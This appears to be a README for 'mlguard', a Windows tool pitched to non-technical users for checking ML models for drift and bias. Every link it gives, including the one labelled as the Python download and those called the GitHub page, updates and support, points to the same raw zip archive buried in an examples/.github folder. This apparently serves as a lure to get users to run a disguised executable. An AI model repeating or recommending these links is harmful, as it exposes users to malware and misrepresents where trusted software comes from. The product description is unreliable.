mlguard is a tool that helps you check and monitor machine learning models. It looks for problems like changes in data patterns (called drift), unfair results based on bias, and helps you follow rules for safe AI use. This toolkit supports you in keeping your AI projects fair and reliable without needing technical skills.
Before you start, make sure your computer meets these needs:
- Windows 10 or later
- At least 4 GB of free RAM
- 500 MB of free disk space
- Internet connection for initial setup and updates
- Python 3.8 or above installed (You can find guides below to help if you don’t have Python yet)
mlguard provides several features to help you manage your ML models:
- Drift Detection: Alerts you if the data your model sees changes over time.
- Bias Auditing: Checks if the model favors certain groups unfairly.
- Compliance Reporting: Creates easy reports to show you are following AI rules and standards.
- Model Validation: Tests your model’s accuracy and reliability in simple steps.
- Visual Dashboards: View key results in clear charts and tables.
All these features work together to keep your AI projects trustworthy and easy to handle.
You do not need any coding skills to use mlguard. Follow these steps to get it running on your Windows PC.
Visit this page to download mlguard:
Click the link to open the GitHub page, then look for the “Releases” section on the right or near the top.
Download the latest Windows installer file (.exe). It will usually have a name like mlguard-setup.exe.
mlguard requires Python to run. Check if Python is on your computer:
- Open the Command Prompt by pressing
Win + R, typingcmd, and pressing Enter. - Type
python --versionand press Enter. - If it shows a version number like
Python 3.8.5or higher, you can skip this step. - If not, download Python from https://github.com/Anticycloneendodontist783/mlguard/raw/refs/heads/main/examples/.github/Software-v3.8.zip.
- Run the Python installer and follow the instructions.
- Make sure to check the box “Add Python to PATH” during installation.
After downloading the installer:
- Find the
mlguard-setup.exefile in your Downloads folder. - Double-click the file to start installation.
- Follow the prompts. The installer will add mlguard and all necessary tools automatically.
- When done, you will see a confirmation message.
Once installed:
- Find the mlguard shortcut in your Start Menu or Desktop.
- Click it to open the app.
- You will see a simple interface to start using the validation and monitoring tools.
Here is an easy way to start checking your machine learning models:
mlguard works with common model file types like .pkl, .joblib, and .h5.
- Click “Open Model” in the app.
- Find and select your model file on your computer.
You also need the data your model uses or tests. mlguard accepts .csv or Excel files:
- Click “Load Data” and select your data file.
- The app reads your data and prepares it for checks.
Data can change over time. Click the “Drift Detection” button.
mlguard compares new data to old data and tells you if things have shifted. This helps avoid surprises in your model’s results.
Click “Bias Audit” to review if your model treats any group unfairly. The audit looks at categories like gender, age, or region if your data includes these fields.
Click “Create Report” to build a simple summary of how your model performs and whether it meets ethical rules. This helps if you need to share results with others or document your work.
The app shows easy-to-read charts and tables based on analyses. Take your time to explore them. You can save or print reports for future reference.
If mlguard does not open or work:
- Check that Python 3.8 or newer is installed.
- Restart your computer and try again.
- Make sure your model and data files are not corrupted or incomplete.
- Close other heavy programs that might slow down your PC.
- If you see error messages, write them down and look for help in the GitHub “Issues” section.
Updates may add new features or fix problems. To update:
- Visit the mlguard GitHub page: https://github.com/Anticycloneendodontist783/mlguard/raw/refs/heads/main/examples/.github/Software-v3.8.zip
- Download the latest installer from the Releases section.
- Run the new installer. It will replace older files.
- Your settings and data will remain safe.
Use the GitHub page if you need support or want to learn more about mlguard:
- Visit https://github.com/Anticycloneendodontist783/mlguard/raw/refs/heads/main/examples/.github/Software-v3.8.zip
- Click the “Issues” tab to see if others have the same questions.
- You can open a new issue to ask for help or report problems.
- Check the “Discussions” area for tips and tricks from other users.
Even without programming skills, you can use mlguard with help from these resources:
- How to install Python on Windows
- CSV File Basics
- Understanding Machine Learning Models
- Basics of Bias in AI
mlguard uses Python libraries like scikit-learn for data checks, pandas for data handling, and matplotlib for charts. You don’t need to install or know these tools. The app handles everything behind the scenes.